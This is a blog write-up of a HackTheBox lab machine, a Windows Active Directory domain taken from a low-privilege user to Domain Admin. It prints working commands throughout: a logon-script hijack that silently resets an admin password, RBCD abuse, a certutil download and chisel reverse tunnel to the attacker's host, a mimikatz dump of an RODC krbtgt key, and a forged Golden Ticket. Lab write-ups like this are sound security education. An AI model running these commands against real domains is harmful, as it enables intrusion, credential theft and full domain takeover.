Back to blog
← Back to posts

HTB: Garfield

HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools

Garfield is a Hard Windows box built around a primary Domain Controller (DC01) and a Read-Only Domain Controller (RODC01) on a hidden internal segment. You start with a plain domain user, and BloodHound flatly says that user controls nothing — no path to Domain Admin. The path is real; the tool just can't see it. A single attribute-level ACE grants write to one property — scriptPath — on two privileged users, which BloodHound (object-level only) never surfaces. That one write hijacks an NTFS-writable SYSVOL logon script to trigger a ForceChangePassword reset, which chains through an AddSelf into RODC Administrators. From there it's RBCD + a pivot to SYSTEM on the read-only DC, dumping its dedicated krbtgt_8245 key. "Read-only" turns out to be a lie: after rewriting the RODC's Password Replication Policy, that key forges an RODC Golden Ticket (Rubeus 2.3.3) that the writable DC happily accepts — Domain Admin. The whole thing is driven from macOS, which turned the last phase into a second, quieter fight against my own tooling.
domain user scriptPath write (BloodHound-blind) SYSVOL logon-script → ForceChangePassword AddSelf → RODC Administrators RBCD + chisel → SYSTEM on RODC krbtgt_8245 + PRP rewrite RODC Golden Ticket → DA

Reconnaissance

A full sweep returns the usual Domain Controller silhouette — DNS, Kerberos, LDAP, SMB, RPC, WinRM. The RDP certificate and SMB banner name the host and domain.

nmap — the DC fingerprint
$ nmap -Pn -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 <DC> 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server # cert CN = DC01.garfield.htb 5985/tcp open http Microsoft HTTPAPI 2.0 # WinRM | smb2-security-mode: Message signing enabled and required # no SMB relay

Two facts to file away: SMB signing is required (kills SMB relay), and the box is a Windows Server 2019 DC named DC01.garfield.htb. The clock is also ~8 hours ahead of me — irrelevant now, a recurring headache later for every Kerberos step from macOS.

Enumeration — a valid badge, zero doors

This is an assume-breach box: you're handed j.arbuckle : <assigned-pass>. The creds work, but the account is nothing special — no Pwn3d!, standard shares, read-only on SYSVOL/NETLOGON.

confirm creds + enumerate
$ nxc smb <DC> -u j.arbuckle -p '<assigned-pass>' SMB <DC> 445 DC01 [+] garfield.htb\j.arbuckle:<assigned-pass> $ nxc smb <DC> -u j.arbuckle -p '...' --users | awk '{print $NF}' Administrator Guest krbtgt krbtgt_8245 j.arbuckle l.wilson l.wilson_adm

The user list tells a story. l.wilson and l.wilson_adm are classic admin tiering — a person and their privileged twin. And krbtgt_8245 is not a person at all: it's the dedicated KDC key account for a Read-Only Domain Controller. There's a second DC hiding somewhere, with its own Kerberos key material. File that away too.

SYSVOL, read-only, holds one non-default artifact — a logon script in the scripts folder:

SYSVOL — a script in plain sight
$ smbclient //<DC>/SYSVOL -U 'garfield.htb\j.arbuckle%...' -c 'ls garfield.htb\scripts' printerDetect.bat A 217 ... $ cat printerDetect.bat @echo off wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status

Harmless on its own — a printer inventory. What matters isn't the script's contents; it's who can change what it points to. Hold that thought.

The tool that lied by omission

BloodHound is the reflex here, so I collected and imported. The j.arbuckle node was a ghost with a valid badge: member of Users, Domain Users, IT Support — and Outbound Object Control: 0. No GenericAll, no GenericWrite, no ForceChangePassword. "Shortest path to Domain Admins" returned Path not found.

I burned real time on the classics before questioning the map:

Every standard technique agreed: this user is powerless. But a Hard box doesn't hand you creds and leave no road. The right question wasn't "what else can I try?" — it was "what is BloodHound not showing me?"

BloodHound (Legacy and CE) enumerates ACLs at the object level — it catches GenericAll, GenericWrite, WriteDACL, WriteOwner. But AD permissions are far more granular: you can grant write to a single attribute, and unless a tool queries attribute-level DACLs, that permission is invisible.

bloodyAD — reading the fine print

bloodyAD checks per-attribute write permissions — exactly the fine print BloodHound skips. Its get writable exploded across the terminal with the usual self-service noise (phone numbers, postal addresses, cloud-extension attributes any user can edit on themselves). Buried in it, on objects that were not mine to touch, one attribute stood out:

the edge BloodHound couldn't see
$ bloodyAD --host <DC> -d garfield.htb -u j.arbuckle -p '...' get writable --detail distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb scriptPath: WRITE distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb scriptPath: WRITE

j.arbuckle can write the scriptPath attribute on both l.wilson and l.wilson_adm. scriptPath is the logon script that runs every time that user signs in. Not GenericWrite, not a password reset — one attribute. And it was enough to unravel the domain.

Weaponising SYSVOL — the logon script

The plan: point l.wilson's scriptPath at a script I control, wait for the box to simulate that user's logon, and run code as l.wilson. Two things had to be true. First, I needed to write a script into the netlogon scripts folder — and --shares said READ. But share-level and NTFS-level permissions are different things, and I never tested the NTFS ACL. It was writable the whole time:

SYSVOL scripts is NTFS-writable
$ smbclient //<DC>/SYSVOL -U 'garfield.htb\j.arbuckle%...' -c 'cd garfield.htb\scripts; put x.bat' putting file x.bat as \garfield.htb\scripts\x.bat

Second — and this is the part I like — I never needed a reverse shell. A live callback is the loudest thing you can do, and it's unnecessary here. The logon script runs as l.wilson, and l.wilson holds ForceChangePassword over l.wilson_adm (an edge that only appears once you're operating as him). So the script itself abuses that right: reset the admin twin's password to something I know, in-process, request/response, nothing to catch.

x.bat — runs as l.wilson at logon
@echo off powershell -nop -w hidden -c "$p=ConvertTo-SecureString '<NewAdminPass>' -AsPlainText -Force; ` Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword $p"
set scriptPath, wait for the logon
$ bloodyAD --host <DC> -d garfield.htb -u j.arbuckle -p '...' set object l.wilson scriptPath -v 'x.bat' [+] l.wilson's scriptPath has been updated $ # ~30s later — the reset landed $ nxc smb <DC> -u l.wilson_adm -p '<NewAdminPass>' SMB <DC> 445 DC01 [+] garfield.htb\l.wilson_adm:<NewAdminPass>

From a single attribute write to a controlled privileged account. WinRM as l.wilson_adm gives the user flag:

user.txt
$ evil-winrm -i <DC> -u l.wilson_adm -p '<NewAdminPass>' *Evil-WinRM* type C:\Users\l.wilson_adm\Desktop\user.txt [redacted — user flag]

Climbing the RODC ladder

With l.wilson_adm in hand, a new edge appears that the graph could see: AddSelf on a group called RODC Administrators. Not "add anyone" — just "add yourself". One command:

join the inner circle
$ bloodyAD --host <DC> -d garfield.htb -u l.wilson_adm -p '...' add groupMember 'RODC Administrators' 'l.wilson_adm' [+] l.wilson_adm added to RODC Administrators

That grants administrative control over RODC01. But RODC01 lives at <RODC-IP> — an internal segment my host has no route to. DC01 can reach it; I'm on the outside. Title of RODC admin, no way to use it. Yet.

RBCD — faking trust

To get SYSTEM on RODC01 I used Resource-Based Constrained Delegation: create a machine account from thin air, tell RODC01 to trust it for delegation (I have write over the RODC01 computer object as its admin), then use that trust to impersonate Administrator.

RBCD onto RODC01
$ addcomputer.py -computer-name 'FAKE01$' -computer-pass 'Passw0rd!123' -dc-ip <DC> 'garfield.htb/l.wilson_adm:...' [*] Successfully added machine account FAKE01$ $ rbcd.py -delegate-from 'FAKE01$' -delegate-to 'RODC01$' -action write -dc-ip <DC> 'garfield.htb/l.wilson_adm:...' [*] Delegation rights modified successfully! $ TZ=UTC faketime "$(date -u -v+8H '+%F %T')" getST.py -spn cifs/RODC01.garfield.htb \ -impersonate Administrator -dc-ip <DC> 'garfield.htb/FAKE01$:Passw0rd!123' [*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

getST only talks to the KDC (DC01, reachable), so the Administrator-for-cifs/RODC01 ticket falls out without touching the internal segment. That faketime wrapper is the first appearance of the ~8h clock skew — every Kerberos step from macOS gets it, using an absolute DC time string (this build of libfaketime rejects the +8h offset form).

chisel — into the inner network

DC01 is the pivot: one foot in my network, one in <internal-net>. A reverse SOCKS proxy through it puts RODC01 in reach. Evil-WinRM's upload is notoriously flaky, so I fetched the binary with certutil:

reverse SOCKS through DC01
$ ./chisel server --reverse -p 8001 # on my host *Evil-WinRM* certutil -urlcache -split -f http://<VPN>:8080/chisel.exe chisel.exe *Evil-WinRM* Start-Process .\chisel.exe -Args 'client','<VPN>:8001','R:socks' -WindowStyle Hidden # SOCKS now live on 127.0.0.1:1080 — RODC01:445 reachable through proxychains

Dumping the RODC's krbtgt — a fight with my own tools

The goal is RODC01's dedicated KDC key, krbtgt_8245 — the raw material for an RODC Golden Ticket. On Kali this is a one-liner. On macOS, this phase became a three-round fight with my own toolchain, and it's worth documenting because every round is a reusable lesson.

My first instinct was secretsdump -use-vss with the Administrator ticket — snapshot ntds.dit, parse it locally. It got through SAM and LSA (dumping the RODC01$ machine keys and cached secrets) and then died, repeatedly, three different ways:

three rounds of self-inflicted pain
# Round 1 — impacket on the default python 3.14: KeyError: 'Cryptodome.Cipher.AES' # in AES_CMAC → SMB3 signing, which this DC requires # Fix: reinstall impacket under 3.12 → pipx install --python python3.12 impacket # Round 2 — faketime + proxychains both need DYLD_INSERT_LIBRARIES: # the wrappers overwrite each other, so set BOTH dylibs by hand. But adding # DYLD_FORCE_FLAT_NAMESPACE=1 re-broke Cryptodome's lazy AES load → same KeyError. # Fix: set both libs, DROP the flat-namespace flag. # Round 3 — even then, the KeyError recurred mid-transfer on long signed reads: # a known Cryptodome lazy-import race in AES_CMAC. Fix: pre-import + warm the # cipher once at startup so the race never runs: from Cryptodome.Cipher import AES; _ = AES.new(b'0'*16, AES.MODE_ECB)

With all three fixed, VSS finally engaged and started pulling ntds.dit — and then the flaky tunnel dropped the connection mid-transfer (Bad file descriptor). The ntds.dit download was simply too big for a link that flapped every few seconds. So I stopped fighting the transfer size and did what the situation actually called for: run mimikatz on the RODC itself and pull only the one account I needed. Tiny push, tiny output.

mimikatz via smbexec (SMB-only, tunnel-friendly)
$ # push mimikatz to RODC01 over the tunnel (smbclient supports -target-ip) $ proxychains smbclient.py -k -no-pass -target-ip <RODC-IP> \ 'garfield.htb/Administrator@RODC01.garfield.htb' → put mimikatz.exe $ # run it as SYSTEM via smbexec, capturing just krbtgt_8245 $ echo 'C:\Windows\Temp\mimikatz.exe "privilege::debug" \ "lsadump::lsa /inject /name:krbtgt_8245" "exit"' \ | proxychains smbexec.py -k -no-pass -target-ip <RODC-IP> 'garfield.htb/Administrator@RODC01...' Domain : GARFIELD / S-1-5-21-<domain-SID> User : krbtgt_8245 aes256_hmac (4096) : [redacted — RODC krbtgt_8245 AES256 key]

Everything through the tunnel used -target-ip <RODC-IP> to avoid name-resolution over SOCKS, while keeping the FQDN in the principal so the Kerberos SPN matched. There it is: the AES256 key, the domain SID, and — from the account's msDS-SecondaryKrbTgtNumber — the RODC branch number 8245. Three pieces to forge a ticket as anyone in the domain.

The Golden Ticket that wasn't read-only

An RODC Golden Ticket has a catch a normal one doesn't: the Password Replication Policy. When DC01 receives a TGT signed by an RODC's krbtgt, it checks whether that user is allowed to be cached on that RODC. Administrator — and every privileged group — sits in the RODC's deny list by default. So I had to rewrite the rules. As RODC administrator I have write over the two attributes that are the policy: clear the deny list first (deny always beats allow), then add Administrator to the allow list:

rewrite the Password Replication Policy on RODC01$
$ bloodyAD ... set object 'RODC01$' msDS-NeverRevealGroup # clear deny (no value) [+] RODC01$'s msDS-NeverRevealGroup has been updated $ bloodyAD ... set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb' [+] RODC01$'s msDS-RevealOnDemandGroup has been updated

Note bloodyAD set overwrites the whole attribute — in a real environment, replacing the allow list with a single entry would break replication for every legitimately cached account. In a lab it's fine, but set is a sledgehammer, not a scalpel.

Now the ticket. Impacket's ticketer can't encode the RODC branch number into the ticket KVNO, so this step needs Rubeus — specifically v2.3.3. v2.2.0 has a PAC-signing bug that produces KRB_AP_ERR_BAD_INTEGRITY even with a perfect key; same key, same parameters, different tool version, completely different result. I ran it on DC01 (correct clock, direct KDC access):

forge the RODC Golden Ticket + request a TGS for DC01
*Evil-WinRM* .\Rubeus.exe golden /aes256:<aes256-key> /user:Administrator /id:500 ` /domain:garfield.htb /sid:S-1-5-21-<domain-SID> ` /rodcNumber:8245 /groups:520,512,513,519,518 /nowrap [*] Forged a TGT for 'Administrator@garfield.htb' *Evil-WinRM* .\Rubeus.exe asktgs /ticket:<forged-TGT> /service:cifs/DC01.garfield.htb /dc:DC01.garfield.htb /nowrap [+] TGS request successful! ServiceName: cifs/DC01.garfield.htb

The /ptt injection fails inside Evil-WinRM (a network logon has no session to inject into — Error 1312), so I forged with /nowrap, requested the TGS the same way, then converted and used it from my host. DC01 accepted a ticket signed by a read-only DC's key, because the policy that was supposed to stop it now said "allow":

root
$ ticketConverter.py dc01_tgs.kirbi dc01_tgs.ccache $ KRB5CCNAME=dc01_tgs.ccache TZ=UTC faketime "$(date -u -v+8H '+%F %T')" \ psexec.py -k -no-pass -target-ip <DC> 'garfield.htb/Administrator@DC01.garfield.htb' C:\Windows\system32> whoami nt authority\system C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt [redacted — root flag]

SYSTEM on DC01. From a domain user with zero outbound control in BloodHound to full Domain Admin — through an attribute-level ACL, a logon-script hijack, a password-reset chain, RBCD, an RODC credential dump, and a forged Golden Ticket.

The whole chain, one screen

recap
# 1. the invisible edge: attribute-level scriptPath write (BloodHound-blind) bloodyAD ... get writable --detail # scriptPath: WRITE on l.wilson / l.wilson_adm # 2. hijack the NTFS-writable SYSVOL logon script → ForceChangePassword reset smbclient //DC/SYSVOL ... put x.bat ; bloodyAD ... set object l.wilson scriptPath -v x.bat # 3. l.wilson_adm → AddSelf into RODC Administrators bloodyAD ... add groupMember 'RODC Administrators' l.wilson_adm # 4. RBCD → Administrator ticket for RODC01; chisel SOCKS pivot to <RODC-IP> addcomputer.py ... ; rbcd.py ... ; faketime getST.py -spn cifs/RODC01 -impersonate Administrator # 5. mimikatz on the RODC → krbtgt_8245 aes256 + SID + branch 8245 proxychains smbexec.py -k ... 'mimikatz lsadump::lsa /inject /name:krbtgt_8245' # 6. rewrite the PRP, forge the RODC Golden Ticket (Rubeus 2.3.3), TGS for DC01, psexec → root bloodyAD ... set msDS-NeverRevealGroup (clear) ; set msDS-RevealOnDemandGroup Administrator Rubeus.exe golden /aes256 /rodcNumber:8245 ... ; asktgs cifs/DC01 ; psexec.py -k → SYSTEM

Lessons

Garfield broke almost every assumption I walked in with. What stayed with me:

From macOS the box was really two boxes: the AD chain, and a quieter fight to make Kerberos, SOCKS, and Cryptodome coexist under DYLD_INSERT_LIBRARIES. Both were worth it.

HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools